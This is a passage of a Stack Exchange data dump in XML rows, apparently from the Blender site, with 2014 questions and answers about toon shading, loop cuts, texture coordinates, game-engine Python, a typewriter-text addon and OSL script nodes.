  <row Id="10933" PostTypeId="1" AcceptedAnswerId="12131" CreationDate="2014-06-02T23:39:26.150" Score="0" ViewCount="1149" Body="&lt;p&gt;So I'm making a third person game, and I want to have the right hand follow the camera when aiming. How could I make this happen? Any suggestions are appreciated, thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Okay, I'll be more specific. I want the whole arm (the hand was a bad choice of words, I guess) to follow the camera in a way similar to that of most third person games that are out there now. (For example, Just Cause 2.) I tried the &quot;Child Of&quot; constraint, and it both made the hand very small and didn't change the movement of the hand whatsoever. There is an animation playing as this happens.&lt;/p&gt;&#xA;" OwnerUserId="3584" LastEditorUserId="2217" LastEditDate="2014-07-29T14:11:26.190" LastActivityDate="2014-07-29T14:11:26.190" Title="For a Third Person game, how would I go about making the character's arm follow the camera?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;camera&gt;&lt;constraints&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10934" PostTypeId="2" ParentId="10925" CreationDate="2014-06-03T00:49:08.163" Score="12" Body="&lt;p&gt;In BI this can be done by using toon shading and setting the &lt;em&gt;smooth&lt;/em&gt; value to 0, then feeding it into a color ramp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJ7Q0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also disabled specular highlights by setting the specular intensity to 0.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-03T00:49:08.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10935" PostTypeId="2" ParentId="2709" CreationDate="2014-06-03T00:53:18.310" Score="1" Body="&lt;p&gt;Simple:&#xA;Here are a few measures to fix this issue:&#xA;Take good footage that isn't to shaky or blurred.&#xA;Double check that all of your tracks are accurate.&#xA;Add more accurate tracks.&#xA;Delete a track, then solve camera motion if it didn't help, chose a different track and then and repeat.&#xA;make sure that not all your tracks are on one single plane in space (eg. on a wall)&#xA;If all fails, then your shot is simply to difficult to solve. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-03T00:53:18.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10937" PostTypeId="2" ParentId="10877" CreationDate="2014-06-03T00:59:49.353" Score="2" Body="&lt;p&gt;Here's a script which does this, comments inline.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;#target rotation:&#xA;target_rotation = [90, 90, 90]&#xA;#object to operate on (active object):&#xA;ob = bpy.context.active_object&#xA;&#xA;&#xA;&#xA;#this assumes you are starting at 0 rotaton, so you pobably want to apply rotation before doing anything:&#xA;bpy.ops.object.transform_apply(location=False, rotation=True, scale=False) #apply rotation&#xA;#get inverse of rotation we want:&#xA;t_rot = (math.radians(target_rotation[0]*-1),&#xA;         math.radians(target_rotation[1]*-1), &#xA;         math.radians(target_rotation[2]*-1))&#xA;#we need to apply the rotations in reverse order, so unsure that we are in zyx:&#xA;ob.rotation_mode = 'ZYX'&#xA;ob.rotation_euler = (t_rot) #set rotation to inverse&#xA;bpy.ops.object.transform_apply(location=False, rotation=True, scale=False) #apply rotation&#xA;&#xA;t_rot = (math.radians(target_rotation[0]),&#xA;         math.radians(target_rotation[1]), &#xA;         math.radians(target_rotation[2]))&#xA;ob.rotation_mode = 'XYZ' #set rotation mode back (was zyx, so we want xyz)&#xA;ob.rotation_euler = (t_rot) #set rotation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pardon my probably poor python ;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-03T01:37:10.103" LastActivityDate="2014-06-03T01:37:10.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10938" PostTypeId="2" ParentId="10925" CreationDate="2014-06-03T01:16:52.013" Score="20" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfHqq.png&quot; alt=&quot;base Toon/cell shading&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the settings you need to change to set flat toon/cel shading. To get rid of aliasing with constant interpolation, in options panel, turn on Full Oversampling. There are limitations, noted them in the graphic.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2014-06-03T01:23:01.510" LastActivityDate="2014-06-03T01:23:01.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10939" PostTypeId="2" ParentId="10925" CreationDate="2014-06-03T04:31:40.473" Score="15" Body="&lt;p&gt;Another way in Cycles would be to create a shader on the compositor that affects the overall rendering, or just the materials you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the monkey on the right has a material with an index pass of 1.&#xA;In the compositor I'm using a color ramp to remap the shading. The two tone shading is achieved using constant as interpolation on the ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0hjH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the materials are unaffected by the ramp.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-06-03T04:31:40.473" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10940" PostTypeId="1" CreationDate="2014-06-03T05:51:34.980" Score="1" ViewCount="1357" Body="&lt;p&gt;I have a problem making faces while modeling. When I make a face in Blender and try to put loop cut I just can't .... Anybody knows another way to connect/make faces ? Please answer me..&lt;/p&gt;&#xA;" OwnerUserId="3718" LastActivityDate="2014-06-03T08:43:52.863" Title="Face making and Loop Cutting" Tags="&lt;modeling&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-03T14:04:20.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="10942" PostTypeId="1" AcceptedAnswerId="10943" CreationDate="2014-06-03T06:16:35.503" Score="14" ViewCount="20309" Body="&lt;p&gt;I'm trying to display models that have shading drawn or baked directly on the textures, but I can't figure out how to disable Blender's default scene lighting. If there are no lights in the scene, everything is black, but I want to see the textured objects fully bright. How do I disable the lighting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Just before posting this, I found the &quot;Shadeless&quot; material property, which does more or less what I want. However, is there a way to globally toggle the default lighting?&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-12-13T22:26:45.597" Title="Is there a textured but unlit (full bright) viewport mode?" Tags="&lt;3d-view&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10943" PostTypeId="2" ParentId="10942" CreationDate="2014-06-03T06:24:17.713" Score="16" Body="&lt;p&gt;Yes, you can enable &lt;em&gt;Shadeless&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Shading&lt;/em&gt; while in textured view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylHr8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in BI, this only works if using &lt;em&gt;Multitexture shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Snb4d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using GLSL in BI or material shading in Cycles, you'll have to use shadeless in the material settings for BI and a emission shader for cycles.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-03T06:24:17.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10945" PostTypeId="2" ParentId="10940" CreationDate="2014-06-03T06:53:08.760" Score="5" Body="&lt;p&gt;I suspect that the problem is that you are trying to make a loop cut through a face which does not have four edges [a &quot;quad&quot;, short for &quot;quadrilateral&quot;]. When a face has fewer than, or more than four sides, the intelligence in the loop cut does not know where you want the loop cut routed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, the loop cut will form partway around the faces. When this occurs, at the point where the loop cut fails to complete, you can manually continue the loop cut by selecting the edge, or vertex through which you want the loop cut to continue, and manually delete the fact, and add new faces using the conventional methods. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-06-03T08:43:52.863" LastActivityDate="2014-06-03T08:43:52.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10946" PostTypeId="1" CreationDate="2014-06-03T07:08:20.637" Score="4" ViewCount="1590" Body="&lt;p&gt;I have a rigged character with armor.  The armor is textured with some noise texture nodes (using cycles).  These look fine in single shots, but as the rigged armor moves the noise texture slides on the object's surface.  This is a problem for an animated video, of course.&#xA;The noise texture is set to use the object's coordinates, but I suspect it is using the object's &quot;un-rigged&quot; location rather than the objects location as it moves in response to the rig.  I sure hope that makes sense...&#xA;So is there anyway to counter this?  Is that what's going on here?  Any help would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3719" LastActivityDate="2014-06-03T07:18:11.040" Title="Texture not moving with Rigged Object" Tags="&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10947" PostTypeId="2" ParentId="10946" CreationDate="2014-06-03T07:18:11.040" Score="2" Body="&lt;p&gt;Try using  &lt;em&gt;Generated&lt;/em&gt; or &lt;em&gt;UV&lt;/em&gt; coordinates instead (obviously you need to unwrap it to  use UV coordinates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles procedural textures are 3D, so object coordinates will center the texture around the origin of the object using the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine when moving the object and it's origin as a whole, however in cases like yours it will appear to &quot;slide&quot;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-03T07:18:11.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10949" PostTypeId="1" CreationDate="2014-06-03T08:43:25.163" Score="0" ViewCount="44" Body="&lt;p&gt;How can I export my blender file to unity so it saves all materials and textures?&lt;/p&gt;&#xA;" OwnerUserId="3720" LastEditorUserId="12" LastEditDate="2014-06-03T13:14:51.833" LastActivityDate="2014-06-03T13:14:51.833" Title="Export a file with textures to Unity?" Tags="&lt;export&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-06-03T13:14:07.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="10950" PostTypeId="2" ParentId="10921" CreationDate="2014-06-03T09:10:45.390" Score="2" Body="&lt;p&gt;Ben Simonds has an addon (based off work by Bassam Kurdali) that can animate text in a variety of ways. The script is available at &lt;a href=&quot;https://github.com/BenSimonds/Randomiser&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;. There is also a &lt;a href=&quot;https://www.youtube.com/watch?v=Jg93ksWYKws&quot; rel=&quot;nofollow&quot;&gt;short example video&lt;/a&gt; of what is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bassam's original script of a simple typewriter effect is somewhat simpler -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;&#xA;# &amp;lt;pep8-80 compliant&amp;gt;&#xA;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;bl_info = {&#xA;    'name': 'Typewriter Text',&#xA;    'author': 'Bassam Kurdali',&#xA;    'version': (0, 1),&#xA;    'blender': (2, 65, 0),&#xA;    'location': 'Properties Editor, Text Context',&#xA;    'description': 'Typewriter Text effect',&#xA;    'url': 'http://urchn.org',&#xA;    'category': 'Text'}&#xA;&#xA;&quot;&quot;&quot;&#xA;Typewriter Text Animation For Font Objects&#xA;&quot;&quot;&quot;&#xA;&#xA;def uptext(text):&#xA;    '''&#xA;    slice the source text up to the character_count&#xA;    '''&#xA;    source = text.source_text&#xA;    if source in bpy.data.texts:&#xA;        text.body = bpy.data.texts[source].as_string()[:text.character_count]&#xA;    else:&#xA;        text.body = source[:text.character_count]&#xA;&#xA;@persistent   &#xA;def typewriter_text_update_frame(scene):&#xA;    '''&#xA;    sadly we need this for frame change updating&#xA;    '''&#xA;    for text in scene.objects:&#xA;        if text.type == 'FONT' and text.data.use_animated_text:&#xA;            uptext(text.data)&#xA;&#xA;def update_func(self, context):&#xA;    '''&#xA;    updates when changing the value&#xA;    '''&#xA;    uptext(self)&#xA;&#xA;class TEXT_PT_Typewriter(bpy.types.Panel):&#xA;    '''&#xA;    Typewriter Effect Panel&#xA;    '''&#xA;    bl_label = &quot;Typewriter Effect&quot;&#xA;    bl_idname = &quot;TEXT_PT_Typewriter&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = 'data'&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object and context.active_object.type == 'FONT'&#xA;&#xA;    def draw_header(self, context):&#xA;        text = context.active_object.data&#xA;        layout = self.layout&#xA;        layout.prop(text, 'use_animated_text', text=&quot;&quot;)&#xA;&#xA;    def draw(self, context):&#xA;        st = context.space_data&#xA;        text = context.active_object.data&#xA;        layout = self.layout&#xA;        layout.prop(text,'character_count')&#xA;        layout.prop(text,'source_text')&#xA;&#xA;def register():&#xA;    '''&#xA;    addon registration function&#xA;    '''&#xA;    # create properties&#xA;    bpy.types.TextCurve.character_count = bpy.props.IntProperty(&#xA;      name=&quot;character_count&quot;,update=update_func, min=0, options={'ANIMATABLE'})&#xA;    bpy.types.TextCurve.backup_text = bpy.props.StringProperty(&#xA;      name=&quot;backup_text&quot;)&#xA;    bpy.types.TextCurve.use_animated_text = bpy.props.BoolProperty(&#xA;      name=&quot;use_animated_text&quot;, default=False)&#xA;    bpy.types.TextCurve.source_text = bpy.props.StringProperty(&#xA;      name=&quot;source_text&quot;)&#xA;    # register the module:&#xA;    bpy.utils.register_module(__name__)&#xA;    # add the frame change handler&#xA;    bpy.app.handlers.frame_change_post.append(typewriter_text_update_frame)&#xA;&#xA;def unregister():&#xA;    '''&#xA;    addon unregistration function&#xA;    '''&#xA;    # remove the frame change handler&#xA;    bpy.app.handlers.frame_change_post.remove(typewriter_text_update_frame)&#xA;    # remove the properties&#xA;    # XXX but how???&#xA;    # remove the panel&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="1363" LastEditDate="2014-06-03T11:19:22.300" LastActivityDate="2014-06-03T11:19:22.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10951" PostTypeId="2" ParentId="10929" CreationDate="2014-06-03T09:44:10.927" Score="2" Body="&lt;p&gt;Blender internal and cycles are completely separate rendering engines, only the object surface data can be shared between them. Each render engine uses incompatible material data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To combine the two render engines you can render an image from each engine and composite the two results together. You can either do this manually by saving one or both of the results to file and inputting the files in the compositor or 2d graphics application. Or you can have two scenes, one using blender internal and one using cycles that can both be input into the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zXokU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlenderCookie &lt;a href=&quot;http://cgcookie.com/blender/2013/10/10/compositing-smoke-simulations-cycles-renders/&quot; rel=&quot;nofollow noreferrer&quot;&gt;has a tutorial&lt;/a&gt; explaining this in more detail.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-03T09:44:10.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10953" PostTypeId="1" AcceptedAnswerId="10954" CreationDate="2014-06-03T13:03:15.753" Score="5" ViewCount="4640" Body="&lt;p&gt;I have different objects in a scene and I want to control them with python code. My question is? Do I have to create a script for every object or I can control all of them with only one python script? I've tried with only one script but then there is only one object as the controller... and I need to change the properties of an object that is not the &quot;controller&quot;. I don't know if I explained this well.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="738" LastEditDate="2014-06-03T16:18:19.943" LastActivityDate="2014-06-03T16:18:19.943" Title="How to acces all objects via Python in the Game Engine?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10954" PostTypeId="2" ParentId="10953" CreationDate="2014-06-03T13:29:10.290" Score="4" Body="&lt;p&gt;You can access all objects from the scene by its name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import GameLogic&#xA;scene = GameLogic.getCurrentScene()&#xA;obj=scene.objects['ObjectName']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To access the vertices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import GameLogic&#xA;&#xA;&#xA;scene = GameLogic.getCurrentScene()&#xA;obj=scene.objects['Cube']&#xA;&#xA;mesh = obj.meshes[0]&#xA;&#xA;for v in range(mesh.getVertexArrayLength(0)):&#xA;    vert = mesh.getVertex(0, v)&#xA;    print( &quot;%d,%d,%d&quot; % ( vert.x, vert.y, vert.z ))&#xA;&#xA;print( dir( vert ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-03T15:56:32.777" LastActivityDate="2014-06-03T15:56:32.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10958" PostTypeId="1" AcceptedAnswerId="10961" CreationDate="2014-06-03T16:43:48.323" Score="0" ViewCount="1036" Body="&lt;p&gt;When I extruded vertices in edit mode, for some reason one of the sides of my 3-D model (the textured-looking side to the right) is creating a lot of errors.&lt;/p&gt;&#xA;&lt;p&gt;First off, it automatically sets extrusions on the x-axis.&lt;br /&gt;&#xA;Secondly, it doesn't allow me to extrude planes into 3-D shapes.&lt;br /&gt;&#xA;Thirdly, I can't increase the height of vertices without it creating a new face.&lt;br /&gt;&#xA;Finally, it renders those automatic textures to create a grainy black texture in render mode.&lt;br /&gt;&#xA;I attached an image with the solid object (top) and the rendered object (bottom).&lt;/p&gt;&#xA;&lt;p&gt;Note: I did not set any textures or alter the lighting on the model. Also, the left gray side is working perfectly fine without errors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LDeE8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3727" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-15T20:48:30.273" Title="Extrusions causing problems in edit mode" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-03T17:05:24.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="10959" PostTypeId="1" CreationDate="2014-06-03T16:49:15.153" Score="7" ViewCount="14522" Body="&lt;p&gt;my 3D manipulator is always in the wrong position. I have tried everything to make it work, yet nothing has. I have relaunched it, and everything I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F6H2D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply cannot work like this. Please help.&lt;/p&gt;&#xA;" OwnerUserId="3728" LastEditorUserId="12" LastEditDate="2014-06-03T17:12:46.427" LastActivityDate="2016-12-05T12:26:34.743" Title="3D manipulator is in wrong position" Tags="&lt;modeling&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10960" PostTypeId="1" AcceptedAnswerId="10972" CreationDate="2014-06-03T16:49:20.467" Score="7" ViewCount="11447" Body="&lt;p&gt;I've finally found a good example on the internet for a problem that I had in Blender, but it is made by the text window that looks like this - &lt;img src=&quot;https://i.stack.imgur.com/w4ESY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then it makes a result like this - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/HJ7C5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it is using this node:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/frBbY.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give me an explanation of this node, and how it is used.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-06-04T05:23:43.383" LastActivityDate="2017-10-04T09:25:46.797" Title="Understanding the Cycles 'Script' node" Tags="&lt;scripting&gt;&lt;osl&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10961" PostTypeId="2" ParentId="10958" CreationDate="2014-06-03T17:05:03.207" Score="1" Body="&lt;p&gt;First, the &quot;grainy black texture&quot; is &lt;a href=&quot;https://blender.stackexchange.com/q/5441/2217&quot;&gt;z-fighting&lt;/a&gt;. Some where you have overlapping faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The automatic extrusions on the x-axis is from the normal value of the face you are extruding from. You can after hitting &lt;kbd&gt;E&lt;/kbd&gt; press &lt;kbd&gt;Z&lt;/kbd&gt; and that will disable the guide along the normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by &quot;it doesn't allow me to extrude planes into 3-D shapes.&quot; If you select a face in face select mode(change the selection mode with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;) then press &lt;kbd&gt;E&lt;/kbd&gt; you will have a 3D shape.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-06-03T17:05:03.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10962" PostTypeId="2" ParentId="10959" CreationDate="2014-06-03T17:11:42.820" Score="8" Body="&lt;p&gt;This is happening for one of several reasons, most likely because you moved the mesh while in edit mode changing the origin point (the little orange dot where the widget is). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the image, your pivot point is most likely already on the default &lt;em&gt;Bounding Box Center&lt;/em&gt; and what you want is to have the widget on the object. So to fix, select the object in &lt;em&gt;Object mode&lt;/em&gt; and set the object origin back to the object with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and choose &lt;em&gt;Origin to Geometry&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmVPP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-06-03T17:11:42.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10963" PostTypeId="2" ParentId="10959" CreationDate="2014-06-03T17:12:36.150" Score="1" Body="&lt;p&gt;In that screen shot you have the 3D Pivot point set to &lt;code&gt;Active element&lt;/code&gt; The placement of the manipulator when only one object is selected, (with the pivot point set to Active element) is the Object &lt;em&gt;Origin&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix that just select that object and any other that has the origin in the wrong spot; then hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and select &lt;code&gt;Origin to Geometry&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-03T17:12:36.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10964" PostTypeId="1" AcceptedAnswerId="10969" CreationDate="2014-06-03T17:30:05.290" Score="1" ViewCount="869" Body="&lt;p&gt;I want to change some menues in the 3D View, for example the Specials Menu. So I added some lines. If i have an error in my changes, Blender reports this in the system console. But when I press &lt;kbd&gt;W&lt;/kbd&gt;, my changes don't appear.&#xA;Here is my changed Script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;C:\Program Files\Blender Foundation\Blender\2.70\scripts\startup\bl_ui\space_view3d.py&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ...  (line 1116)&#xA;class VIEW3D_MT_object_specials(Menu):&#xA;    bl_label = &quot;Specials&quot;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        # add more special types&#xA;        return context.object&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        scene = context.scene&#xA;        obj = context.object&#xA;&#xA;        if obj.type == 'MESH':&#xA;           mesh = obj.data&#xA;           layout.operator_context = 'INVOKE_REGION_WIN'&#xA;           layout.operator(&quot;object.shade_smooth&quot;, text=&quot;Shade Smooth&quot;)&#xA;           layout.operator(&quot;object.shade_flat&quot;, text=&quot;Shade Flat&quot;)&#xA;           if scene.render.use_shading_nodes:&#xA;               try:&#xA;                   props = layout.prop(mesh.materials[0].node_tree.nodes[&quot;Emission&quot;].inputs[&quot;Strength&quot;],&quot;default_value&quot;, text=&quot;Emission Strength&quot;)&#xA;               except:&#xA;                   pass&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if I run Blender with Admin Rights on my Win7 Computer the Changes dont appear.&lt;br&gt;&#xA;What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-06-04T20:27:44.293" LastActivityDate="2020-06-03T08:16:08.133" Title="How can i update my changes in the UI scripts?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10965" PostTypeId="2" ParentId="10960" CreationDate="2014-06-03T18:51:31.380" Score="9" Body="&lt;p&gt;Apart from the predefined shaders you can write your own shaders for Cycles. They only work for CPU rendering though.&lt;br&gt;&#xA;The scripts you see in the text editor are shaders written in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&quot; rel=&quot;noreferrer&quot;&gt;Open Shading Language (OSL)&lt;/a&gt;. These shaders are small programs written in a C-like language. They are usually used to tell Cycles how to calculate the material color, but can also perform other computations.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is a short description of how OSL shaders work. It is not intendet to be a complete tutorial, and you should have at least basic programming skills. Also it has been a while since I played around with OSL shaders, so if anyone finds a mistake in my description please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using an OSL Shader:&lt;/strong&gt;&lt;br&gt;&#xA;To use a OSL shader, you have to add a script node to your Cycles material which is set to the .osl script. You can add a script node by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and selecting Script-&gt;Script from the menu. This node can be set to use an internal shader (one from Blender's text editor) or an external shader file (an .osl file on your hard drive). The inputs and outputs of this node are generated automatically from the shader code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Structure of an OSL Shader:&lt;/strong&gt;&lt;br&gt;&#xA;An OSL shader can contain typical C-style functions and preprocessor directives. &#xA;The actual shader program in the .osl script is the function that begins with the keyword &lt;code&gt;shader&lt;/code&gt;. The name of the shader function is arbitrary, but only one shader function is allowed per file.&lt;br&gt;&#xA;Between the opening and closing bracket after the function's name comes a list of input and output variables. Each variable is declared using a type (e.g. &lt;code&gt;color&lt;/code&gt;), its name (e.g. &lt;code&gt;Color_Diffuse&lt;/code&gt;) and a default value (e.g. 0.5) which is used when no input is connected to this slot of the script node . In addition to that, a variable declaration can be preceded by the keyword &lt;code&gt;output&lt;/code&gt;. These variables will appear as output sockets on the right side of the script node, all other variables are inputs. Outputs can be written to, inputs can only be read. Each OSL shader should have at least one output, otherwise its computations can not be used.&lt;br&gt;&#xA;Apart from the user-supplied inputs an OSL shader can also use some functions and variables provided by Blender, most notably closures. Closures allow you to access the functionality of the normal Cycles shader nodes. See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&quot; rel=&quot;noreferrer&quot;&gt;the documentation&lt;/a&gt; for a list of these functions. In the screenshot you posted the &lt;code&gt;diffuse_toon&lt;/code&gt;, &lt;code&gt;specular_toon&lt;/code&gt;, &lt;code&gt;transparent&lt;/code&gt; and &lt;code&gt;emission&lt;/code&gt; closure are used to calculate the output closure named 